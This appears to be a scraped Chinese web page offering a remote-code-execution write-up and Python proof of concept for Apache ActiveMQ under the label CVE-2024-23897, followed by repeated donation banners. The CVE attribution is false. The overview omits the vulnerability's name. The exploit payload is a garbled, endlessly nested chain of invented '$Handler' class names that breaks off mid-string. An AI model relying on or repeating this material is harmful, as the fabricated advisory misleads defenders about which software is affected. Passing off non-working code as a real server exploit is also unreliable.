Apache ActiveMQ CVE-2024-23897 RCE漏洞详情及POC

漏洞概述 该漏洞涉及一个名为 的远程代码执行（RCE）漏洞，影响 Apache ActiveMQ 5.18.4 版本。攻击者可以通过构造恶意请求，利用该漏洞在目标服务器上执行任意代码。 影响范围 受影响版本：Apache ActiveMQ 5.18.4 漏洞类型：远程代码执行（RCE） 修复方案 升级版本：建议升级到 Apache ActiveMQ 的最新版本，以修复该漏洞。 配置检查：检查并调整 ActiveMQ 的配置，确保没有不必要的开放端口和服务。 访问控制：实施严格的访问控制策略，限制对 ActiveMQ 服务的访问。 POC 代码 ```python import requests import sys import json def check_vulnerability(target_url): url = f"{target_url}/api/router?method=call&service=org.apache.activemq.artemis.core.server:core/ActiveMQ&type=queue&address=activemq.management&operation=deployPlugin" headers = { "Content-Type": "application/json" } payload = { "plugin": { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper" }, "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler", "params": [ { "class-name": "org.apache.activemq.artemis.core.server.plugin.impl.ManagementServicePluginWrapper$ManagementServicePlugin$ManagementService$ManagementHandler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handler$Handl

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

Apache ActiveMQ CVE-2024-23897 RCE漏洞详情及POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

Apache ActiveMQ CVE-2024-23897 RCE漏洞详情及POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！